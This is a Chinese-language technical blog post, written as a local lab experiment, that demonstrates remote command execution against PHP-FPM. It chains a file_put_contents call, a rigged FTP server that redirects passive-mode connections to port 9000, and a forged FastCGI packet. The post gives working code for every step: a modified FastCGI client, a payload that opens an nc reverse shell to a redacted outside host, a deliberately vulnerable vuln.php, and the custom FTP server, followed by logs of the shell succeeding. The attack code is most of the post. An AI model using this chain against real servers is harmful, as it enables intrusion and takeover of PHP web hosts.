file_put_contents+php-fpm如何命令執行

2021-02-21 conman
聲明:本文在本地環境測試,代碼可能存在風險,實際請在法律允許範圍內進行測試。序

在閱讀Laravel debug rce[1]的文章時,感嘆文章中的技巧之餘,有一句話引起了我的注意。 It is well-known that, if you can send an arbitrary binary packet to the PHP-FPM service, you can execute code on the machine. 眾所周知,我不知呀!

本文學習file_put_contents + FTP + php-fpm的命令執行。

原理

參考[2],我們可以得知,PHP-FPM未授權訪問時,可以通過修改變量auto_prepend_file或auto_append_file來執行文件。根據[1]中描述,我們需要讓file_put_contents時,將結果寫到php-fpm,這樣造成命令執行。

實驗php-fpm命令執行

docker起一個php-fpm的環境

docker pull wyveo/nginx-php-fpm
docker run -d wyveo/nginx-php-fpm

利用pyfcgiclient來發送fastcgi數據包

from pyfcgiclient.fpm import FPM

phpfpm = FPM(
host='127.0.0.1',
port=9000,
sock="/run/php/php8.0-fpm.sock",
document_root='/usr/share/nginx/html'
)

post_string = '<?php echo `id`;phpinfo(); exit();?>'

status_header, headers, output, error_message = phpfpm.load_url(
url='/index.php?a=b',
content=post_string,
remote_addr='127.0.0.1',
cookies='c=d;e=f;'
)
print(output)

由於有些參數我們沒辦法直接修改,就直接修改pyfcgiclient裡面的文件。在pyfcgiclient的fpm.py的env中增加PHP_VALUE和PHP_ADMIN_VALUE

'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On',

同時修改flup_fcgi_client.py中的_environPrefixes,增加PHP_

_environPrefixes = ['SERVER_', 'HTTP_', 'REQUEST_', 'REMOTE_', 'PATH_',
'CONTENT_', 'DOCUMENT_', 'SCRIPT_','PHP_']

docker exec進入容器,下載對應文件,python執行,成功執行phpinfo。到這裡,我們成功對php-fpm發包執行命令了。不過這裡使用的是socket文件,不是ip+port的方式。後面我們需要修改配置。

ftp passive mode

ftp passive mode[4]

In the passive mode, the client uses the control connection to send a PASV command to the server and then receives a server IP address and server port number from the server, which the client then uses to open a data connection to the server IP address and server port number received.

我們試一下ftp passive mode。使用pyftpdlib測試,basic_ftpd.py, 我們設置passive_mode的ip和port,同時在php容器裡面nc監聽9000埠(為方便演示實驗,缺少的bin文件都先準備好,如nc,lsof,xxd等)

handler.masquerade_address = '127.0.0.1'
handler.passive_ports = range(9000, 9001)

同時在docker裡面開啟nc -lvvp 9000,在另一個終端裡面執行wget ftp://ftp_server_ip:2121/test,可以看到nc界面顯示connect to [127.0.0.1] from localhost [127.0.0.1] 56976,說明確實會去連接ftp指定的ip和port。接下來我們按照文章中的思路來驗證。

環境準備

首先我們將php-fpm調整為監聽9000埠。備份配置文件之後進行替換 sed -i 's/\/run\/php\/php8.0-fpm.sock/127.0.0.1:9000/g' www.conf 修改ngix配置

/etc/nginx/conf.d# sed -i 's/unix:\/run\/php\/php8.0-fpm.sock/127.0.0.1:9000/g' default.conf

重啟php-fpm和nginx

/etc/init.d/php8.0-fpm restart

/etc/init.d/nginx reload

查看埠,發現監聽了9000

./lsof -i:9000

php-fpm8. 137 root 8u IPv4 44589 0t0 TCP localhost:9000 (LISTEN)

利用驗證數據包

抓取payload數據包,為方便演示,複製了nc到docker。前面我們使用nc存數據包,這裡我們換另外一種方式,使用wireshark,找到發送到9000埠的數據包,右鍵Follow->TCP Stream,選擇發往9000埠,Raw格式的數據包,保存出來。

from pyfcgiclient.fpm import FPM

phpfpm = FPM(
host='127.0.0.1',
port=9000,
#sock="/run/php/php8.0-fpm.sock",
document_root='/usr/share/nginx/html'
)

post_string = '<?php system("touch /tmp/hacked");system("nc REDACTED 8888 -e /bin/bash");?>'

status_header, headers, output, error_message = phpfpm.load_url(
url='/index.php?a=b',
content=post_string,
remote_addr='127.0.0.1',
cookies='c=d;e=f;'
)
print(output)

將數據包發送到127.0.0.1:9000,發現可以成功。

cat phpfpmlog12 | ./nc 127.0.0.1 9000

file_put_contents腳本

漏洞php文件vuln.php

vuln test
<?php

$url = $_GET["url"];

echo 'reading:' ;
$contents = file_get_contents($url);
echo 'read ok';
var_dump($contents);

echo 'writing:' ;
file_put_contents($url,$contents);
echo 'write ok' ;
?>

// 中間做了很多測試和實驗,下面只寫成功的結果,略去失敗的嘗試 

現在我們需要做的就是file_get_contents的時候,發送準備好的數據包,file_put_contents請求的時候,pasv到127.0.0.1:9000埠去,造成命令執行。

ftp腳本,在basic_ftpd.py的基礎上進行修改。

賦予anonymous讀寫權限

修改MyPassiveDTP,在第二次file_put_contents請求過來時,PASV命令返回127.0.0.1:9000 227 Entering passive mode (127,0,0,1,35,40)

修改MyHandler,在第二次file_put_contents請求過來時,SIZE返回550 /phpfpmlog12aaabb is not retrievable.

備份之前抓包記錄的phpfpmlog

#!/usr/bin/env python

# Copyright (C) 2007 Giampaolo Rodola' <g.rodola@gmail.com>.
# Use of this source code is governed by MIT license that can be
# found in the LICENSE file.

"""A basic FTP server which uses a DummyAuthorizer for managing 'virtual
users', setting a limit for incoming connections and a range of passive
ports.
"""

import os

from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler,PassiveDTP
from pyftpdlib.servers import FTPServer

import logging
logging.basicConfig(level=logging.DEBUG)

class MyHandler(FTPHandler):
fileflag = False

def on_connect(self):
print("%s:%s connected" % (self.remote_ip, self.remote_port))

def on_incomplete_file_received(self, file):
# remove partially uploaded files
import os
os.remove(file)
def ftp_SIZE(self, path):
print(path)
if not MyHandler.fileflag:
MyHandler.fileflag = True
else:
MyHandler.fileflag = False
path = path + "aaabb"

super(MyHandler,self).ftp_SIZE(path)


class MyPassiveDTP(PassiveDTP):
_flag = 0
def __init__(self, cmd_channel, extmode=False):
#print()
print(cmd_channel.masquerade_address)
print(cmd_channel.passive_ports)
if MyPassiveDTP._flag % 4 ==0 or MyPassiveDTP._flag % 4 == 1:
MyPassiveDTP._flag = MyPassiveDTP._flag + 1
print("False Flag")
else:
MyPassiveDTP._flag = MyPassiveDTP._flag + 1
cmd_channel.masquerade_address = '127.0.0.1'
cmd_channel.passive_ports = range(9000, 9001)
print(cmd_channel.masquerade_address)
print(cmd_channel.passive_ports)

super(MyPassiveDTP,self).__init__(cmd_channel, extmode=False)


def startftpserver():
# Instantiate a dummy authorizer for managing 'virtual' users
authorizer = DummyAuthorizer()

# Define a new user having full r/w permissions and a read-only
# anonymous user
authorizer.add_user('user', '12345', os.getcwd(), perm='elradfmwMT')
authorizer.add_anonymous(os.getcwd(),perm='elradfmwMT')

# Instantiate FTP handler class
handler = MyHandler
#handler = FTPHandler
passdtp = MyPassiveDTP
handler.passive_dtp = passdtp

handler.authorizer = authorizer

# Define a customized banner (string returned when client connects)
handler.banner = "pyftpdlib based ftpd ready."

# Specify a masquerade address and the range of ports to use for
# passive connections. Decomment in case you're behind a NAT.
# handler.masquerade_address = '127.0.0.1'
# handler.passive_ports = range(9000, 9001)
handler.passive_ports = range(60000, 65535)

# Instantiate FTP server class and listen on 0.0.0.0:2121
address = ('', 2121)
server = FTPServer(address, handler)


# set a limit for connections
server.max_cons = 256
server.max_cons_per_ip = 5

# start ftp server
server.serve_forever()


if __name__ == '__main__':
startftpserver()

開啟nc監聽

nc -lvvp 8888

請求http://REDACTED:9099/vuln.php?url=ftp://REDACTED:2121/phpfpmlog12 ftp log

DEBUG:pyftpdlib:REDACTED:47198-[] <- USER anonymous
DEBUG:pyftpdlib:REDACTED:47198-[] -> 331 Username ok, send password.
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] <- PASS ******
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] -> 230 Login successful.
INFO:pyftpdlib:REDACTED:47198-[anonymous] USER 'anonymous' logged in.
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] <- TYPE I
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] -> 200 Type set to: Binary.
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] <- SIZE /phpfpmlog12
/REDACTED/ftptest/phpfpmlog12
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] -> 550 /phpfpmlog12aaabb is not retrievable.
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] <- EPSV
None
range(60000, 65535)
127.0.0.1
range(9000, 9001)
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] -> 227 Entering passive mode (127,0,0,1,35,40).
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] <- PASV
DEBUG:pyftpdlib:[debug] call: close() (<__main__.MyPassiveDTP listening REDACTED:9000 at 0x7f1a8e081b50>)
127.0.0.1
range(9000, 9001)
127.0.0.1
range(9000, 9001)
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] -> 227 Entering passive mode (127,0,0,1,35,40).
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] <- STOR /phpfpmlog12
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] -> 150 File status okay. About to open data connection.
INFO:pyftpdlib:REDACTED:47198-[anonymous] -> 421 Passive data channel timed out.

nc log

➜ ~ nc -lvvp 8888
listening on [any] 8888 ...
REDACTED: inverse host lookup failed: Unknown host
connect to [REDACTED] from (UNKNOWN) [REDACTED] 60728
ls
50x.html
css
images
index.html
index.php
test.php
test_socket.php
vuln.php
vuln2.php
vuln3.php
vuln4.php
vuln5.php
vuln6.php
vuln7.php

成功。Man, we made it.

總結

file_put_contents結合ftp passive mode,可以往任意ip port發送數據包,結合php-fpm,可以造成命令執行。有點像dns rebinding。是否還有其他的利用方式?

引用

Laravel <= v8.4.2 debug mode: Remote code execution

PHP-FPM 遠程命令執行漏洞

PHP-fpm 遠程代碼執行漏洞(CVE-2019-11043)分析

FTP Connection Modes (Active vs. Passive)

Linux socket文件系統體現「一切皆文件」

PORT FTP command

pyftpdlib

Fastcgi協議分析 PHP-FPM未授權訪問漏洞

相關焦點

  • 如何利用PHP-FPM實現open_basedir繞過
    0X01 如何利用PHP-FPM默認監聽9000埠,如果這個埠暴露在公網,則我們可以自己構造FastCGI協議,和FPM進行通信。這時候可以利用SCRIPT_FILENAME來指定執行php文件,如果文件不存在則返回404。
  • 從一道CTF題目談PHP中的命令執行
    那麼我們得到了這個字符串,又該如何去執行呢。我們可以通過一個變量存儲兩字符串異或後的值,再讓這個變量進行動態函數執行即可,而變量的話因為PHP的變量命名規則和C語言相同,可以使用下劃線進行命名,如下:2.
  • 如何使用php中的file_get_contents()函數將文件內容讀入字符串
    源 / php中文網      源 / www.php.cnphp中的file_get_contents()函數是用於將文件內容讀入字符串的。此函數還能夠從URL讀取內容,下面 我們就來具體看看php中的 file_get_contents()函數將文件內容讀入字符串的方法。
  • php中函數禁用繞過的原理與利用
    x=`$command`' pop graphic-context EOF; file_put_contents("test.mvg", $exploit); $thumb = new Imagick(); $thumb->readImage('test.mvg'); $thumb->writeImage('test.png'); $thumb->clear(); $thumb-&
  • nginx File not found 錯誤
    ,"No input file specified","File not found"是令nginx新手頭疼的常見錯誤,原因是php-fpm進程找不到SCRIPT_FILENAME配置的要執行的.php文件,php-fpm返回給nginx的默認404錯誤提示。
  • 現代程式設計師必須掌握的:Dockerfile 與 Compose 環境搭建學習筆記(二)
    Dockerfile 如何寫網絡上有非常多關於 Dockerfile 該如何寫的最佳實踐,我覺得有幾點特別重要:更多最佳實踐可以看這裡:https://yeasy.gitbooks.io/docker_practice/content/appendix/best_practices.html接下來以 Redis 的 Dockerfile 來聊一聊實際如何編寫
  • 新手必須要懂的PHP學習路線以及10個PHP優化技巧
    從基本代碼應用上面來說,能夠解決在PHP開發中遇到95%的問題,了解大部分PHP的技巧;對大部分的PHP框架能夠迅速在一天內上手使用,並且了解各個主流PHP框架的優缺點,能夠迅速方便項目開發中做技術選型;在配置方面,除了常規第二階段會的知識,會了解一些比較偏門的配置選項(php auto_prepend_file/auto_append_file),包括擴展中的一些複雜高級配置和原理(比如memcached
  • PHP一些常見的漏洞梳理
    php @include($_GET["file"])?>2)使用php://input,將執行代碼通過在POST data中提交。形成命令執行<?php system('ipconfig');?>
  • 【原創】某PHP加密文件調試解密過程
    ('2.php', $prettyCode);然後,執行 php format.php。php_sapi_name() == 'cli' ? die() : '';我們用命令行運行的,所以執行完這一句,肯定程序就結束了。那就讓他結束吧,我們把這一行注釋掉,在他下面下斷點。
  • 【進階】實現頁面靜態化,PHP是如何實現的,你又是如何實現的
    實現HTML靜態化的策略與實例講解:基本方式file_put_contents()函數 使用php內置緩存機制實現頁面靜態化 —output-bufferring.php $gid = $_GET['gid']+0;$goods_statis_file = "goods_file_".
  • PHP基礎入門
    file_get_contents打開文件函數<?php   $filename = 'NoAlike.txt';   $filestring = file_get_contents($filename);   echo $filestring;?
  • OpenResty、PHP-fpm與NodeJs操作MySQL的性能對比
    的投遞今天agentzh在微博上公布了一些OpenResty 與 php-fpm、Nodejs操作MySQL的性能評測數據。agentzh:我剛才在對比測試大結果集查詢時,發現NodeJS在使用 node-mysql庫訪問MySQL時,上下文切換次數居高不下,都快趕上 php-fpm + php-mysql了。
  • php反序列化
    那麼,當我們用file_get_contents()去使用phar文件則會執行反序列化操作file_get_contents("phar://1.phar除了file_get_contents之外,只要能夠使用phar協議的,包括絕大部分和文件操作有關的php函數,都能夠觸發反序列化。
  • PHP基礎
    //var_dump($res);//resource(3, stream) 資源型數據2.fclose->file close ->關閉文件 //fclose很少使用,PHP有垃圾回收機制,執行完一個頁面之後會自動刪除頁面資源3.從資源裡面讀取數據 fread()從資源內讀取內容 //$s1=fread($res,6);//從
  • 代碼執行、命令執行漏洞-PHP
    php $_GET['a']($_GET['b']);?php system('whoami');?/ bin/bash來標識可執行程序路徑,$args表示傳遞給$path程序的參數,$envs則是執行這個程序的環境變量popen()、popen_open()函數:不會直接返回執行結果,而是返回一個文件指針,但命令已經執行popen()函數需要兩個參數,一個是執行的命令;另一個是指針文件的連接模式,有r、w代表讀和寫
  • (安全篇)PHP 的錯誤機制詳解
    截至到php5.5,一共有16個錯誤級別注意:嘗試下面的代碼的時候請確保打開error_log:error_reporting(E_ALL);ini_set('display_errors', 'On');E_ERROR這種錯誤是致命錯誤,會在頁面顯示Fatal Error, 當出現這種錯誤的時候,程序就無法繼續執行下去了錯誤示例:
  • php面試題之—PHP核心技術(高級部分)
    方法1(對於PHP5及更高版本):$readcontents=fopen("http://www.phpres.com/index.html","rb");$contents=stream_get_contents($readcontents);fclose($readcontents);echo $contents;方法2:echo file_get_contents
  • 在PHP中執行系統外部命令
    首頁 > 語言 > 關鍵詞 > php最新資訊 > 正文 在PHP中執行系統外部命令
  • 面試PHP一般會考查你哪些內容呢?不妨看看
    php    $img=file_get_contents("http://www.xfcodes.com/img/baidu_logo.gif");    file_put_contents('local.gif',$img);    echo '<img src="local.gif">';2、用PHP列印出前一天的時間